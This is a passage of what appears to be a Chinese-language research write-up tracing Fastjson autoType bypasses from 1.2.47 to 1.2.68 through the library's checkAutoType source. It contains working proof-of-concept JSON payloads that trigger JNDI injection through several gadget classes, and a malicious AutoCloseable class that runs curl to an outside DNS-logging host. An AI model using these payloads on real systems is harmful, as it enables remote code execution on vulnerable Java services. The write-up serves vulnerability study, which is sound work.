        try {
            InitialContext initCtx;
            Properties env = getEnvProperties(properties);
            if (env == null) {
                initCtx = new InitialContext();
            } else {
                initCtx = new InitialContext(env);
            }

            if (properties.containsKey(INITIAL_CONTEXT) && properties.containsKey(DATA_SOURCE)) {
                ...
            } else if (properties.containsKey(DATA_SOURCE)) {//data_source为ldap地址
                dataSource = (DataSource) initCtx.lookup(properties.getProperty(DATA_SOURCE));//lookup进行JNDI注入
            }
        }
        ...
    }

https://img.mi3aka.eu.org/2023/02/df6986b1d0a1f767b6a4fdb0d7011968.png

1.2.47

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package learn.bypass;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

/*
Fastjson从1.2.25开始,添加了配置项setAutoTypeSupport以及白名单,进一步限制@type的使用,默认该配置项关闭

如果配置项是关闭状态,那么只允许白名单内的类才能通过@type指定,但是存在绕过方式,且不需要setAutoTypeSupport为true

如果先传入如下JSON进行反序列化
{
    "@type": "java.lang.Class",
    "val": "com.sun.rowset.JdbcRowSetImpl"
}
java.lang.Class是在白名单中的,反序列化后com.sun.rowset.JdbcRowSetImpl就会被加入到白名单中,剩下的就和1.2.24相同了
*/
public class bypass_1_2_47 {
    public static void main(String[] args) {
        // ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String json_str = "{\"a\": {\"@type\": \"java.lang.Class\",\"val\": \"com.sun.rowset.JdbcRowSetImpl\"},\"b\": {\"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\": \"ldap://127.0.0.1:1389/exp\",\"autoCommit\": true}}";
        JSON.parseObject(json_str);
    }
}

https://img.mi3aka.eu.org/2023/02/af7037eac7a0102a11c61aed0d9293d2.png

未开启AutoTypeSupport

  1. 初始化

com.alibaba.fastjson.parser.ParserConfig.initDeserializers中,会向deserializers中添加(Class.class, MiscCodec.instance)作为缓存,在后续的deserializer.deserialze(this, clazz, fieldName)根据clazz的内容调用相应的的deserializer

https://img.mi3aka.eu.org/2023/02/7077c2a0e032f21d9f665ea27d314c73.png

  1. 第一次checkAutoType

此时的typenamejava.lang.Class

https://img.mi3aka.eu.org/2023/02/35abe4fc2d1ba9b24f965e909f2b90bf.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
    public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
        String className = typeName.replace('$', '.');
        Class<?> clazz = null;

        final long BASIC = 0xcbf29ce484222325L;
        final long PRIME = 0x100000001b3L;

        final long h3 = (((((BASIC ^ className.charAt(0)) * PRIME) ^ className.charAt(1)) * PRIME) ^ className.charAt(2)) * PRIME;

        if (clazz == null) {
            clazz = deserializers.findClass(typeName);
        }
        if (clazz != null) {//clazz为class java.lang.Class
            ...
            return clazz;
        }
    }
  1. 加载deserializer

通过config.getDeserializer(clazz)获取deserializer,当前类为java.lang.ClassClass.class对应的deserializerMiscCodec

接下来通过deserializer.deserialze(this, clazz, fieldName)进行deserialze操作

https://img.mi3aka.eu.org/2023/02/1f2b744c03a5eb25b6a584c78ae49267.png

  1. 进行deserialze
1
2
3
4
5
6
//com.alibaba.fastjson.serializer.MiscCodec
    public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
        if (clazz == Class.class) {
            return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());//此时的strVal为com.sun.rowset.JdbcRowSetImpl
        }
    }

https://img.mi3aka.eu.org/2023/02/a3b33a226a125c77e856ea1f9e00f8dd.png

  1. 进行loadClass
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
    try{
        ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
        if(contextClassLoader != null && contextClassLoader != classLoader){
            clazz = contextClassLoader.loadClass(className);
            if (cache) {//默认开启cache,mappings(内置类)中添加了原本处于黑名单中的com.sun.rowset.JdbcRowSetImpl
                mappings.put(className, clazz);
            }
            return clazz;
        }
    }

https://img.mi3aka.eu.org/2023/02/237528f7b630281a44c2c87a607de675.png

  1. 第二次checkAutoType

此时的typenamecom.sun.rowset.JdbcRowSetImpl

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
    public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
        ...
        if (clazz == null) {
            clazz = TypeUtils.getClassFromMapping(typeName);//从mappings(内置类)中加载com.sun.rowset.JdbcRowSetImpl
        }
        if (clazz != null) {
            ...
            return clazz;//后续流程与1.2.24一致
        }
    }

https://img.mi3aka.eu.org/2023/02/1e26fee317ee9f3beac9914c376606e8.png

开启AutoTypeSupport

主要不同点在于第二次checkAutoType

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
    public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
        if (autoTypeSupport || expectClass != null) {
            long hash = h3;
            for (int i = 3; i < className.length(); ++i) {
                hash ^= className.charAt(i);
                hash *= PRIME;
                if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
                    if (clazz != null) {
                        return clazz;
                    }
                }
                if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
                    /*
                     * 此时com.sun.rowset.JdbcRowSetImpl匹配到黑名单中的哈希,由于当前条件运算符为&&,需要getClassFromMapping的结果为空才能抛出异常
                     * 但前面的流程中将com.sun.rowset.JdbcRowSetImpl添加到mappings(内置类)中,因此条件不满足
                     */
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }
        if (clazz == null) {
            clazz = TypeUtils.getClassFromMapping(typeName);//从mappings(内置类)中加载com.sun.rowset.JdbcRowSetImpl
        }

        if (clazz != null) {
            ...
            return clazz;//后续流程与1.2.24一致
        }
    }

https://img.mi3aka.eu.org/2023/02/5304b431bb40a2537cd98571e97af41e.png

https://img.mi3aka.eu.org/2023/02/4c2057b4a23397b8ea00287678df806d.png

1.2.62

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
package learn.bypass;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

/*
与1.2.45的绕过类似,通过xbean-reflect进行绕过
*/
public class bypass_1_2_62 {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String json_str = "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"AsText\":\"ldap://127.0.0.1:1389/exp\"}";
        JSON.parseObject(json_str);
    }
}

https://img.mi3aka.eu.org/2023/02/a8fbe5ddd220e8fdfae0181be5df35cb.png

checkAutoType分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
    public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
        ...
        final boolean expectClassFlag;
        if (expectClass == null) {//当且仅当expectClass参数不为空且不为Object,Serializable...等类型时expectClassFlag才为true
            expectClassFlag = false;
        } else {
            if (expectClass == Object.class || expectClass == Serializable.class || expectClass == Cloneable.class || expectClass == Closeable.class || expectClass == EventListener.class || expectClass == Iterable.class || expectClass == Collection.class) {
                expectClassFlag = false;
            } else {
                expectClassFlag = true;
            }
        }

        String className = typeName.replace('$', '.');
        Class<?> clazz = null;

        final long BASIC = 0xcbf29ce484222325L;
        final long PRIME = 0x100000001b3L;

        final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
        if (h1 == 0xaf64164c86024f1aL) { // [
            throw new JSONException("autoType is not support. " + typeName);
        }

        if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
            throw new JSONException("autoType is not support. " + typeName);
        }

        final long h3 = (((((BASIC ^ className.charAt(0)) * PRIME) ^ className.charAt(1)) * PRIME) ^ className.charAt(2)) * PRIME;

        boolean internalWhite = Arrays.binarySearch(INTERNAL_WHITELIST_HASHCODES, TypeUtils.fnv1a_64(className)) >= 0;//内部白名单检查

        if ((!internalWhite) && (autoTypeSupport || expectClassFlag)) {
            //不在内部白名单中且开启autotype或expectClassFlag为true,进行检查
            //org.apache.xbean.propertyeditor.JndiConverter不在黑名单中
            long hash = h3;
            for (int i = 3; i < className.length(); ++i) {
                hash ^= className.charAt(i);
                hash *= PRIME;
                if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
                    if (clazz != null) {
                        return clazz;
                    }
                }
                if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }

        boolean jsonType = false;//判断指定class是否存在JsonType注解信息
        InputStream is = null;
        try {
            String resource = typeName.replace('.', '/') + ".class";
            if (defaultClassLoader != null) {
                is = defaultClassLoader.getResourceAsStream(resource);
            } else {
                is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
            }
            if (is != null) {
                ClassReader classReader = new ClassReader(is, true);
                TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
                classReader.accept(visitor);
                jsonType = visitor.hasJsonType();
            }
        }
        ...

        final int mask = Feature.SupportAutoType.mask;
        boolean autoTypeSupport = this.autoTypeSupport || (features & mask) != 0 || (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;//判断是否开启autotype支持
        if (clazz == null && (autoTypeSupport || jsonType || expectClassFlag)) {//满足条件,进行恶意类加载
            boolean cacheClass = autoTypeSupport || jsonType;
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);//加载恶意类
        }

        if (clazz != null) {
            if (jsonType) {
                TypeUtils.addMapping(typeName, clazz);
                return clazz;
            }

            if (ClassLoader.class.isAssignableFrom(clazz) || javax.sql.DataSource.class.isAssignableFrom(clazz) || javax.sql.RowSet.class.isAssignableFrom(clazz)) {// 判断clazz是否为ClassLoader,DataSource,RowSet等类的子类,如果是则抛出异常
                throw new JSONException("autoType is not support. " + typeName);
            }
            ...
            JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
            if (beanInfo.creatorConstructor != null && autoTypeSupport) {
                throw new JSONException("autoType is not support. " + typeName);
            }
        }
        if (clazz != null) {//添加到mappings中
            TypeUtils.addMapping(typeName, clazz);
        }
        return clazz;
    }

JndiConverter分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
//org.apache.xbean.propertyeditor.AbstractConverter
    public final void setAsText(String text) {//text为ldap地址
        Object value = toObject(text.trim());
        super.setValue(value);
    }
    public final Object toObject(String text) {
        if (text == null) {
            return null;
        }
        Object value = toObjectImpl(text.trim());
        return value;
    }

https://img.mi3aka.eu.org/2023/02/86b861a80107aa502730fd9ccaab4448.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
//org.apache.xbean.propertyeditor.JndiConverter
    public JndiConverter() {
        super(Context.class);
    }
    protected Object toObjectImpl(String text) {
        try {
            InitialContext context = new InitialContext();
            return (Context) context.lookup(text);//text为ldap地址,lookup进行JNDI注入
        } catch (NamingException e) {
            throw new PropertyEditorException(e);
        }
    }

1.2.66

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
package learn.bypass;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

/*
与1.2.45的绕过类似,通过多个类进行绕过
*/
public class bypass_1_2_66 {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        // String json_str = "{\"@type\":\"org.apache.shiro.realm.jndi.JndiRealmFactory\", \"jndiNames\":[\"ldap://127.0.0.1:1389/exp\"], \"Realms\":[\"\"]}";
        // String json_str = "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"metricRegistry\":\"ldap://127.0.0.1:1389/exp\"}";
        // String json_str = "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"healthCheckRegistry\":\"ldap://127.0.0.1:1389/exp\"}";
        String json_str = "{\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\",\"properties\": {\"@type\":\"java.util.Properties\",\"UserTransaction\":\"ldap://127.0.0.1:1389/exp\"}}";
        JSON.parseObject(json_str);
    }
}

https://img.mi3aka.eu.org/2023/02/e659935b747e9d2293cba54091dffce8.png

JndiRealmFactory分析

shiro-core 1.2.4

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
//org.apache.shiro.realm.jndi.JndiRealmFactory
    public void setJndiNames(Collection<String> jndiNames) {//jndiNames:["ldap://127.0.0.1:1389/exp"]
        this.jndiNames = jndiNames;
    }
    public Collection<Realm> getRealms() throws IllegalStateException {
        Collection<String> jndiNames = getJndiNames();
        ...
        List<Realm> realms = new ArrayList<Realm>(jndiNames.size());
        for (String name : jndiNames) {
            try {
                Realm realm = (Realm) lookup(name, Realm.class);//lookup进行JNDI注入
                realms.add(realm);
            } catch (Exception e) {
                throw new IllegalStateException("Unable to look up realm with jndi name '" + name + "'.", e);
            }
        }
        return realms.isEmpty() ? null : realms;
    }

https://img.mi3aka.eu.org/2023/02/9032694ddb532ba667f7624fa7b2e2e7.png

前面对com.alibaba.fastjson.util.JavaBeanInfo进行分析时,提到get方法能否加入fieldList中会进行如下判断

1
if (Collection.class.isAssignableFrom(method.getReturnType()) || Map.class.isAssignableFrom(method.getReturnType()) || AtomicBoolean.class == method.getReturnType() || AtomicInteger.class == method.getReturnType() || AtomicLong.class == method.getReturnType())

显然getRealms满足判断条件

https://img.mi3aka.eu.org/2023/02/9b7e6599b4669a39e6803dcafe6d1a63.png

AnterosDBCPConfig分析

Anteros-DBCP 1.0.1, Anteros-Core 1.2.0

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
//br.com.anteros.dbcp.AnterosDBCPConfig
    public void setMetricRegistry(Object metricRegistry)
    {
        if (metricRegistry != null) {
            metricRegistry = getObjectOrPerformJndiLookup(metricRegistry);//jndi查询
            ...
        }
        this.metricRegistry = metricRegistry;
    }
    public void setHealthCheckRegistry(Object healthCheckRegistry)
    {
        if (healthCheckRegistry != null) {
            healthCheckRegistry = getObjectOrPerformJndiLookup(healthCheckRegistry);
            ...
        }
        this.healthCheckRegistry = healthCheckRegistry;
    }

https://img.mi3aka.eu.org/2023/02/4cd47e5e7ca286e79e4ff3ef4d46fc8b.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
    private Object getObjectOrPerformJndiLookup(Object object)
    {
        if (object instanceof String) {
            try {
                InitialContext initCtx = new InitialContext();
                return initCtx.lookup((String) object);//lookup进行JNDI注入
            }
            catch (NamingException e) {
                throw new IllegalArgumentException(e);
            }
        }
        return object;
    }

https://img.mi3aka.eu.org/2023/02/2e90ccc0f7f2f59407710394b8c48abe.png

JtaTransactionConfig分析

ibatis-sqlmap 2.3.4.726 , jta 1.1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
//com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig
    public void setProperties(Properties props) throws SQLException, TransactionException {
        String utxName = null;
        try {
            utxName = (String) props.get("UserTransaction");//获取UserTransaction的值,即ldap地址
            InitialContext initCtx = new InitialContext();
            userTransaction = (UserTransaction) initCtx.lookup(utxName);//lookup进行JNDI注入
        } catch (NamingException e) {
            throw new SqlMapException("Error initializing JtaTransactionConfig while looking up UserTransaction (" + utxName + ").  Cause: " + e);
        }
    }

https://img.mi3aka.eu.org/2023/02/3a2ef797497e6cf129bdde977382fdb1.png

1.2.67

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
package learn.bypass;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

/*
与1.2.45的绕过类似,通过多个类进行绕过
*/
public class bypass_1_2_67 {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String json_str = "{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\", \"jndiNames\":[\"ldap://127.0.0.1:1389/exp\"], \"tm\": {\"$ref\":\"$.tm\"}}";// $.tm为路径引用,即调用getTm方法
        // String json_str = "{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\",\"resourceName\":\"ldap://127.0.0.1:1389/exp\",\"instance\":{\"$ref\":\"$.instance\"}}";// $.instance为路径引用,即调用getInstance方法
        JSON.parseObject(json_str);
    }
}

https://img.mi3aka.eu.org/2023/02/d1d022b238011c9b4f1b5f3ad22e68d6.png

CacheJndiTmLookup分析

ignite-core 2.10.0 , ignite-jta 2.10.0

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
    public void setJndiNames(List<String> jndiNames) {
        this.jndiNames = jndiNames;
    }
    /** {@inheritDoc} */
    @Nullable @Override public TransactionManager getTm() throws IgniteException {
        assert jndiNames != null;
        assert !jndiNames.isEmpty();
        try {
            InitialContext ctx = new InitialContext();
            for (String s : jndiNames) {
                Object obj = ctx.lookup(s);//lookup进行JNDI注入
                if (obj != null && obj instanceof TransactionManager)
                    return (TransactionManager) obj;
            }
        }
        return null;
    }

https://img.mi3aka.eu.org/2023/02/75fada1eaf5cc76cc5ec6f509d4e5ad5.png

JndiObjectFactory分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
//org.apache.shiro.jndi.JndiObjectFactory
    public T getInstance() {
        try {
            if(requiredType != null) {
                return requiredType.cast(this.lookup(resourceName, requiredType));
            } else {
                return (T) this.lookup(resourceName);//lookup进行JNDI注入
            }
        } catch (NamingException e) {
            final String typeName = requiredType != null ? requiredType.getName() : "object";
            throw new IllegalStateException("Unable to look up " + typeName + " with jndi name '" + resourceName + "'.", e);
        }
    }
    public void setResourceName(String resourceName) {
        this.resourceName = resourceName;
    }

https://img.mi3aka.eu.org/2023/02/cc2c5096e1db926aca871cc2ff3c5ac6.png

1.2.68

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package learn.bypass;

import com.alibaba.fastjson.JSON;

public class bypass_1_2_68 {
    public static void main(String[] args) {
        //无需开启AutoTypeSupport
        String json_str = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"learn.bypass.evil_1_2_68\"}";
        JSON.parseObject(json_str);
    }
}

package learn.bypass;

import java.io.IOException;

public class evil_1_2_68 implements AutoCloseable {
    public evil_1_2_68() {
        try {
            Runtime.getRuntime().exec("curl http://1.2.68.6bb37b09.dns.1433.eu.org");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public void close() throws Exception {

    }
}

https://img.mi3aka.eu.org/2023/02/51a2671e64229789dca69aef96574be7.png

第一次checkAutoType分析

https://img.mi3aka.eu.org/2023/02/855c42728d508b6f78020d55cf9b664c.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
    public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {//此时的expectClass为null
        if (typeName == null) {
            return null;
        }

        if (autoTypeCheckHandlers != null) {
            for (AutoTypeCheckHandler h : autoTypeCheckHandlers) {
                Class<?> type = h.handler(typeName, expectClass, features);
                if (type != null) {
                    return type;
                }
            }
        }

        final int safeModeMask = Feature.SafeMode.mask;
        boolean safeMode = this.safeMode || (features & safeModeMask) != 0 || (JSON.DEFAULT_PARSER_FEATURE & safeModeMask) != 0;
        if (safeMode) { //开启safeMode后,无法进行AutoType操作
            throw new JSONException("safeMode not support autoType : " + typeName);
        }

        if (typeName.length() >= 192 || typeName.length() < 3) {
            throw new JSONException("autoType is not support. " + typeName);
        }

        final boolean expectClassFlag;
        if (expectClass == null) {
            expectClassFlag = false;
        } else {
            if (expectClass == Object.class || ... ) {
                expectClassFlag = false;
            } else {
                expectClassFlag = true;
            }
        }

        String className = typeName.replace('$', '.');
        Class<?> clazz;

        ...

        long fullHash = TypeUtils.fnv1a_64(className);
        boolean internalWhite = Arrays.binarySearch(INTERNAL_WHITELIST_HASHCODES,  fullHash) >= 0; //internalWhite为false,不在内部白名单的哈希中

        ...

        if ((!internalWhite) && (autoTypeSupport || expectClassFlag)) { //expectClassFlag为false,由前面的if (expectClass == null) { expectClassFlag = false;决定
            long hash = h3;
            for (int i = 3; i < className.length(); ++i) {
                hash ^= className.charAt(i);
                hash *= PRIME;
                if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
                    if (clazz != null) {
                        return clazz;
                    }
                }
                if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
                    if (Arrays.binarySearch(acceptHashCodes, fullHash) >= 0) {
                        continue;
                    }

                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }

https://img.mi3aka.eu.org/2023/02/1c1d8d3fe9a28f3ba5fd63d320f461f8.png

https://img.mi3aka.eu.org/2023/02/c150591ecd3c4df0aafa3fe9001d0730.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
        clazz = TypeUtils.getClassFromMapping(typeName);//从缓存中加载类

        if (clazz == null) {
            clazz = deserializers.findClass(typeName);
        }

        if (clazz == null) {
            clazz = typeMapping.get(typeName);
        }

        if (internalWhite) {
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
        }

        if (clazz != null) {//判断clazz是不是继承了expectClass类且不是HashMap类型,是的话抛出异常,否则直接返回该类
            if (expectClass != null && clazz != java.util.HashMap.class && !expectClass.isAssignableFrom(clazz)) {
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            }
            return clazz;
        }
    }

https://img.mi3aka.eu.org/2023/02/d2258b5a4d56e78a67284aaaf63b4052.png

使用JavaBeanDeserializer反序列化器进行反序列化操作

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
//com.alibaba.fastjson.parser.DefaultJSONParser
    ObjectDeserializer deserializer = config.getDeserializer(clazz);
    Class deserClass = deserializer.getClass();
    if (JavaBeanDeserializer.class.isAssignableFrom(deserClass) && deserClass != JavaBeanDeserializer.class && deserClass != ThrowableDeserializer.class) {
        this.setResolveStatus(NONE);
    } else if (deserializer instanceof MapDeserializer) {
        this.setResolveStatus(NONE);
    }
    Object obj = deserializer.deserialze(this, clazz, fieldName);
    return obj;

JavaBeanDeserializer反序列化器

https://img.mi3aka.eu.org/2023/02/efc6bfc010918e3f993f655285533f4d.png

https://img.mi3aka.eu.org/2023/02/3c54a22c62d99212e96bfb3e13b84928.png

1
2
3
4
5
6
7
8
9
//com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer
    ObjectDeserializer deserializer = getSeeAlso(config, this.beanInfo, typeName);
    Class<?> userType = null;

    if (deserializer == null) {//deserializer为null,此时进行第二次checkAutoType
        Class<?> expectClass = TypeUtils.getClass(type);
        userType = config.checkAutoType(typeName, expectClass, lexer.getFeatures());//typename为learn.bypass.evil_1_2_68,而expectClass为interface java.lang.AutoCloseable
        deserializer = parser.getConfig().getDeserializer(userType);
    }

第二次checkAutoType分析

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
    public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
        if (typeName == null) {
            return null;
        }

        if (autoTypeCheckHandlers != null) {
            for (AutoTypeCheckHandler h : autoTypeCheckHandlers) {
                Class<?> type = h.handler(typeName, expectClass, features);
                if (type != null) {
                    return type;
                }
            }
        }

        final int safeModeMask = Feature.SafeMode.mask;
        boolean safeMode = this.safeMode
                || (features & safeModeMask) != 0
                || (JSON.DEFAULT_PARSER_FEATURE & safeModeMask) != 0;
        if (safeMode) {
            throw new JSONException("safeMode not support autoType : " + typeName);
        }

        if (typeName.length() >= 192 || typeName.length() < 3) {
            throw new JSONException("autoType is not support. " + typeName);
        }

        final boolean expectClassFlag;
        if (expectClass == null) {
            expectClassFlag = false;
        } else {
            if (expectClass == Object.class || expectClass == Serializable.class ...) {
                expectClassFlag = false;
            } else {
                expectClassFlag = true; //java.lang.AutoCloseable类不是上述类的对象,因此expectClassFlag设置为true
            }
        }

        String className = typeName.replace('$', '.');
        Class<?> clazz;

        ...

        long fullHash = TypeUtils.fnv1a_64(className);
        boolean internalWhite = Arrays.binarySearch(INTERNAL_WHITELIST_HASHCODES,  fullHash) >= 0;

        if (internalDenyHashCodes != null) {
            long hash = h3;
            for (int i = 3; i < className.length(); ++i) {
                hash ^= className.charAt(i);
                hash *= PRIME;
                if (Arrays.binarySearch(internalDenyHashCodes, hash) >= 0) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }

        if ((!internalWhite) && (autoTypeSupport || expectClassFlag)) { //由于expectClassFlag被设置为true,因此进入黑名单检验环节,显然learn.bypass.evil_1_2_68不属于黑名单,因此通过检验
            long hash = h3;
            for (int i = 3; i < className.length(); ++i) {
                hash ^= className.charAt(i);
                hash *= PRIME;
                if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
                    if (clazz != null) {
                        return clazz;
                    }
                }
                if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
                    if (Arrays.binarySearch(acceptHashCodes, fullHash) >= 0) {
                        continue;
                    }

                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }

        clazz = TypeUtils.getClassFromMapping(typeName);

        if (clazz == null) {
            clazz = deserializers.findClass(typeName);
        }

        if (clazz == null) {
            clazz = typeMapping.get(typeName);
        }

        if (internalWhite) {
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
        }

        if (clazz != null) {
            if (expectClass != null && clazz != java.util.HashMap.class && !expectClass.isAssignableFrom(clazz)) {
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            }
            return clazz;
        }

        if (!autoTypeSupport) {//autoTypeSupport为false,因此继续进行检测
            ...
        }

        boolean jsonType = false;
        InputStream is = null;
        try {
            String resource = typeName.replace('.', '/') + ".class";
            if (defaultClassLoader != null) {
                is = defaultClassLoader.getResourceAsStream(resource);
            } else {
                is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
            }
            if (is != null) {
                ClassReader classReader = new ClassReader(is, true);
                TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
                classReader.accept(visitor);
                jsonType = visitor.hasJsonType();
            }
        } catch (Exception e) {
            // skip
        } finally {
            IOUtils.close(is);
        }

        final int mask = Feature.SupportAutoType.mask;
        boolean autoTypeSupport = this.autoTypeSupport
                || (features & mask) != 0
                || (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;

        if (autoTypeSupport || jsonType || expectClassFlag) {//expectClassFlag为true,因此进行loadClass操作
            boolean cacheClass = autoTypeSupport || jsonType;
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
        }

        if (clazz != null) {
            if (jsonType) { //jsonType为false,因此没有直接添加到缓存map中
                TypeUtils.addMapping(typeName, clazz);
                return clazz;
            }

            if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
                    || javax.sql.DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
                    || javax.sql.RowSet.class.isAssignableFrom(clazz) //
                    ) { //检测是否为ClassLoader,DataSource,RowSet等类的子类,如果是则抛出异常
                throw new JSONException("autoType is not support. " + typeName);
            }

            if (expectClass != null) {
                if (expectClass.isAssignableFrom(clazz)) {
                    /*
                    判断目标类是否是expectClass类的子类,是的话就添加到缓存map中并返回该目标类,否则直接抛出异常
                    因此恶意类必须要继承自AutoCloseable,才能够通过该判断继续进行利用
                    */
                    TypeUtils.addMapping(typeName, clazz);
                    return clazz;
                } else {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                }
            }
        }
        return clazz;
    }

https://img.mi3aka.eu.org/2023/02/b4136aa6f920ccc59419edf63c6c1345.png

todo

1.2.68读写文件

1.2.80

对groovy的利用理解有点问题,过几天再写